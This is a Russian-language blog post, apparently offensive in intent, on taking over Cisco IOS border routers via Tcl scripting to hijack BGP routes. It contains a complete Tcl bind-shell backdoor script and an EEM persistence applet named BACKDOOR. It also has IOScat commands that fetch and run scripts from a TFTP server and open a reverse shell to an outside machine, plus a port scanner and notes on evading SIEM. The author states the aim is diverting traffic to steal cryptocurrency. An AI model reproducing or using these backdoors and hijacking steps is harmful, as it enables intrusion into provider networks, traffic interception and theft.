Tag: bgp route

  • Перехват bgp-сессии и подмена маршрута с помощью Cisco TCL

    Перехват bgp-сессии и подмена маршрута с помощью Cisco TCL

    Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp route hijacking затруднен, и в SIEM очень трудно отследить что-то связанное с изменением глобальной маршрутизации при внедрения bgp-маршрута нарушителем. Поговорим немного о том, как можно использовать маршрутизатор под управлением Cisco IOS с привилегированным доступом level 15, что обычно позволяет реализовать сценарии bgp spoofing с использованием встроенного в Cisco IOS функционала скриптового движка TCL.

    Вариантов изменения маршрутов (создание bgp обхода при помощи bgp route injection) в глобальной сети может быть несколько, однако самый простой из них — получению доступа к пограничному роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких: 

    • Брутфорс пароля от интерфейса управления BGP;
    • Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который управляет этим bgp роутером);
    • Поиск или эксплуатация уже существующих уязвимостей в BGP-сервере, который запущен на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет виртуальный девайс Cisco, Juniper или Huawei);
    • Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
    • «Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку, мой Jabber есть в контактах на сайте. 

    Сейчас я опишу несколько вариантов реализации bgp route leak, и поверь, их использование действительно приводит к повышению прав с последующим изменением таблиц маршрутизации на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp hijacking в криптоиндустрии, как раз для создания своего bgp сервера обхода и приземления нужного тебе трафика на свой криптомост.

    реальный перехват bgp-сессии на оборудовании крупного телекоммуникационного провайдера

    Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения, вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl.

    В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах под управлением Cisco IOS функции выполнения “пользовательских” скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

    Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:

    • Разработка собственного варианта “бэкдора” с целью закрепления в системе и доступа к ней в обход штатных механизмов защиты;
    • Перехват bgp-сессии с подменой маршрутов или с внедрением своего маршрута; 
    • Проведение сканирования портов в различных сегментах сети провайдера;
    • Проброс действующих портов на порт интерфейса, организация обратного (реверсного) доступа к удаленным сетевым устройствам;
    • Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
    • Создание bgp обхода для инфильтрации трафика на своём оборудовании;
    • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

    Данными методами также можно воспользоваться для дальнейшей реализации bgp route hijacking, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для захвата bgp-сессии и реализации bgp spoofing сценария или создания bgp сервера обхода с подстановкой криптомоста и последующим приземлением на него трафика китов. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на пограничном bgp-маршрутизаторе.

    Практикуемся

    Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях “Рускрипто CTF“.

    В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.

    Загрузка и исполнение TCL-скрипта:

    Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.

    Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:

    Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
    Router# tclsh flash://script.tcl

    Загрузка скрипта непосредственно с TFTP-сервера:

    Router# tclsh tftp://192.168.1.4/script.tcl

    Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).

    proc callback {sock addr port} { 
    fconfigure $sock -translation crlf -buffering line
    puts $sock "Cisco router admin console:" 
    puts $sock " " 
    puts -nonewline $sock "Router# "
    flush $sock
    fileevent $sock readable [list echo $sock] 


    proc echo {sock} {
    global var

    flush $sock

    if {[catch {gets $sock line}] || 
    [eof $sock]} {
    return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
    return [close $sock]
    }

    puts -nonewline $sock "Router# "
    flush $sock
    }

    set port 2002
    set sh [socket -server callback $port] 
    vwait var 
    close $sh

    После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.

    [ptsec@maxpatrol ~]$ telnet router 2002
    Trying 192.168.1.10...
    Connected to router.
    Escape character is '^]'.

    Cisco router admin console:

    Router#

    Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот “патч-фикс” производителя можно обойти несколькими способами:

    1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.

    Router>en
    Router#conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    Router(config)#line vty 0 4
    Router(config-line)#exec-timeout 0 0

    2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.

    Router(config)# event manager applet BACKDOOR
    Router(config-applet)# event timer countdown name Delay time 20
    Router(config-applet)# action 1.0 cli command "enable"
    Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
    Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

    3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

    Готовые утилиты и сценарии для bgp route hijacking

    В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.

    Примеры реализации:

    Организация бэкдора на маршрутизаторе (2002 порт):

    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe

    Организация реверсного шелла на нужный IP адрес сервера обхода bgp (порт 12345):

    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

    (на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)

    Проброс удаленного порта на локальный порт маршрутизатора (2002):

    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80

    У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.

    Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.

    Рассмотрим примеры использования:

    Router>en
    Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
    Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 15912 bytes]

    Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 42121 bytes]

    Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

    Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

    Host 192.168.1.1 is unavailable

    Host 192.168.1.2 is unavailable

    Host 192.168.1.3 is unavailable

    Interesting ports on host 192.168.1.4
    PORT STATE SERVICE
    20/tcp closed ftp-data
    21/tcp closed ftp
    22/tcp closed ssh
    23/tcp closed telnet
    24/tcp closed priv-mail
    80/tcp open http
    443/tcp closed https

    Host 192.168.1.5 is unavailable

    Router#

    Изменение вариантов сканирования скрипта возможно путем добавления аргументов:

    -sP – только по ответу хоста;
    -sT – TCP-портов методом TCP connect;
    -sU – UDP-портов через функционал IP SLA.

    Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp hijacking сценариев.

    Как скрыться от SIEM

    Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:

    Router#show processes cpu | i Tcl
    212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

    Router#show tcp brief all
    TCB Local Address Foreign Address (state)
    659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
    654485B4 *.2002 *.* LISTEN
    65CA2D04 *.80 *.* LISTEN

    Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):

    Router#show control-plane host open-ports
    Active internet connections (servers and established)
    Prot Local Address Foreign Address Service State
    tcp *:23 *:0 Telnet LISTEN
    tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
    tcp *:80 *:0 HTTP CORE LISTEN
    tcp *:1234 *:0 Tcl Serv - tty163 LISTEN

    bgp hijacking на устройствах под управлением Cisco IOS в 1999 и 2026

    Инженер электросвязи шатает BGP

    Таким образом, все поняли, что таблицу маршрутизации на любой, даже самой защищенной провайдерской Cisco можно изменить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp route hijacking для проведения изменений в глобальной таблице маршрутизации со всеми вытекающими отсюда последствиями. Боле подробно по теме ты можешь переговорить со мной в личке, контакты есть в соответствующем разделе на этом сайте.